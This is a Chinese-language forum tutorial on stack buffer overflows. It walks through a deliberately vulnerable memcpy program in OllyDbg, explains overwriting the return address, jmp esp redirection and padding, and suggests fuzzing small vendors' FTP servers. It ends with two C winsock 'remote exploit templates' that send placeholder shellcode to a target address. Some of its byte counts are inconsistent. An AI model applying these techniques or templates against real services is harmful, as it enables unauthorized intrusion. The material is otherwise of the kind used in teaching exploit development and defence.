你还在大牛的博客里翻他们的漏洞利用脚本吗?你还在github上拼命找漏洞利用脚本吗。。。
相信现在也有很多人像我一样再尝试漏洞挖掘这一块,但网上的教材可能都说的太略。。。我就来完整的来一次流程。。。
首先我们先来试一下本地溢出的漏洞。。。当然,我们得自己构造一个来尝试,memcpy函数就是个很好的例子。。。
编译语言 c
编译器vc++
[C] 纯文本查看 复制代码#include"stdio.h"#include"string.h"main(){int i;char a[4]="s",b[20]="ssssssssssssssssss";i=sizeof(b);memcpy(a,b,i);printf("a=%s\nb=%s",a,b);return 0;}
代码部分不多做介绍,至于为什么用vc++?因为其他编译器大多都会做溢出保护,当然,这些都可以通过技术手段绕过。。。
学过c的同学一眼肯定就能看出,在调用memcpy中发生了溢出,a只有五个字节的空间,但要把b全复制进去,多余的16个空间就发生了溢出,现在开始手动调试
od载入。004014E0 >/$ 55 push ebp
ctrl g搜索一下函数“memcpy”
来到这里00401160 > $ 55 push ebp
f2下一个断点,然后f9让程序跑起来。跑到我们的断点处停下,然后ctrl f9将这个函数跑完,中途可能要跑完好几个函数。。。中途可以顺便看一下ecx:0018FF2C 这个地址内的数据是一堆s,继续跑,来到这里0040108B |. 83C4 0C add esp,0xC
可以看到上一行就是00401086 |. E8 D5000000 call memcpy ; \memcpy
此时f8忽略call单步下去,直到运行到retn,此时cpu会取出esp所存储的内存数据,传给eip,作为一条指令所在的内存地址,此时看一下寄存器ESP:0018FF4C
再查一下堆栈窗口,看下这个0018FF4C地址存储什么数据?0018FF4C : 73737373
73?大家可能已经明白了,73就是我们用的小写s的16进制形式,我们的溢出数据用的就是s。
我们再压一下f9,程序运行出错,可以在异常信息中看到,偏移为73737373
很明显,多余的s覆盖了memcpy的返回地址,而73737373并不存在,程序就boom了
但是如果我们不用s,通过偏移计算后。而把多余的数据换成我们精心设计的shellcode呢?一次溢出攻击就发动了。
至于shellcode怎么写?
首先我们需要算出溢出是第几个数据处发生的,这个用堆栈窗口稍微一算就ok,我无需多说了、、、
也可以在vc++中完成,以asm内联汇编的形式写一段你需要的攻击代码,然后转成16进制码即可,如果我们,把shellcode代替那多余的16的s来使用,咳咳、、、
但是我们需要多说几句话,首先,在合法的数据后面可是不能直接写攻击代码的~我们要绕一下。在asm中攻击代码的前面,我们要多加一条jmp esp或者是call esp。这是为何呢?
程序每运行一次,堆栈的内存地址都会发生变化,shellcode则分布的杂乱无章,怎么破呢?用esp,esp永远代表堆栈地址所在位置,于是,我们先用调到esp的指令来覆盖,就能达到我们的目的,至于jmp esp的所在内存的地址是什么?各个系统都不一样,我们需要用到一个findjmp的工具来查询,而查到后注意,不能直接写上,首先也要分成4对来储存,例如“x47“然后我们需要把顺序全变过来,如果原来是x12 x45 x09,现在就要是x09 x45 x12,这是因为windows系统的底层设计问题,,,我们不多说。此时第一行shellcode是jmp esp,但注意!还没有完成,程序在溢出后,会崩溃,而崩溃中,就会发生偏移,此时我们可以通过od把偏移量算出来,在jmp esp与攻击代码直接加上偏移量大小的无用数据,当然,懒的话还有个办法,直接加上10个无用字母,基本上偏移量也不会更大了。。。
此时我们把精心设计好的shellcode换掉多余的一堆s,就能达到你攻击代码想实现的目的。
当然这只是本地溢出?至于远程溢出,远程服务可能是以加密的数据来传输的,也可能是明文传输的,相对而言,远程服务为了效率,明文传输更多,,而且这跟是否是明文基本没啥关系。我们可以拿小厂商的ftp来练手,此时我们还需要一个工具1ftpfuzzer,fuzz即为暴力,打过信息学联赛的朋友们大概一定会很痛恨一种东西,强数据,明明样例数据能过,确总有好几个测试点过不去,而在acm中,一个点不过就0分,我也是想骂人。。。咳咳,回到fuzz上来,fuzz会暴力模拟上万种奇怪的,强数据来测试,我们可以通过ftpfuzzer来完成,设置好基本参数后,我们只需要喝喝红花茶等等就好了,如果顺利,很快就会fuzz结束,因为有测试数据成功了,我们可以在ftpfuzzer的工作栏中找到发生溢出的数据,然后如上的本地溢出进行测试,流程基本一致,只是在溢出工作上,我们总不能用ftpfuzzer来攻击把?我们此时可以吧设计好的数据存在一个数组中。。。
然后可以用编程语言来实现发送的目的。。。这个时候py最合适了。。。当然我更希望大家使用c。。。
通过winsock的api,我们可以实现发包的目的,来发动远程溢出攻击。。。至于为何没有图??大概是我们机房这边网络不稳定。。。我也快醉了。。。上午还好好的。。。如果需要图的话,我的博客里有简略的文章,里面有图,当然那个写的非常简略。。。当然希望我以后还能继续本篇的内容,写出更好的文章来。
补一下远程EXP模版:
UDP
[C++] 纯文本查看 复制代码#include "stdafx.h"#include #include #include "string.h"#pragma comment(lib, "ws2_32.lib") int main(int argc, char* argv[]){ WORD socketVersion = MAKEWORD(2,2); WSADATA wsaData; if(WSAStartup(socketVersion, &wsaData) != 0) { return 0; } SOCKET sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(8888); sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); int len = sizeof(sin); char *sendData= "SHELLCODE"; sendto(sclient, sendData, strlen(sendData), 0, (sockaddr *)&sin, len); char recvData[255]; int ret = recvfrom(sclient, recvData, 255, 0, (sockaddr *)&sin, &len); if(ret > 0) { recvData[ret] = 0x00; printf(recvData); } closesocket(sclient); WSACleanup(); return 0;}
TCP
[Asm] 纯文本查看 复制代码#include "stdafx.h"#include #include "string.h"#include #pragma comment(lib,"ws2_32.lib")int main(int argc, char* argv[]){ WORD sockVersion = MAKEWORD(2,2); WSADATA data; if(WSAStartup(sockVersion, &data) != 0)//异常 { return 0; } SOCKET sclient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//套间字 TCP 可改为udp 但要改变三握四挥 if(sclient == INVALID_SOCKET) { printf("invalid socket !"); return 0; } sockaddr_in serAddr; serAddr.sin_family = AF_INET; serAddr.sin_port = htons(8888);//端口 serAddr.sin_addr.S_un.S_addr = inet_addr(* argv); //ip if (connect(sclient, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR) { printf("cownnect error !");//连接构造失败,包堵塞通道 closesocket(sclient); return 0; } char * sendData = "Shellcode";//此段为shellcode 但要注意 ESP偏移 send(sclient, sendData, strlen(sendData), 0); char recData[255]; int ret = recv(sclient, recData, 255, 0); if(ret > 0) { //recData[ret] = 0x00; printf("wrong attack !"); } else printf("attack success !"); closesocket(sclient); WSACleanup(); return 0;}
UDP版没注释,请参考TCP版,希望大家多多支持。。。我还会再更的。。。
博客地址 maxwheat.ml
谢谢大家观看
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |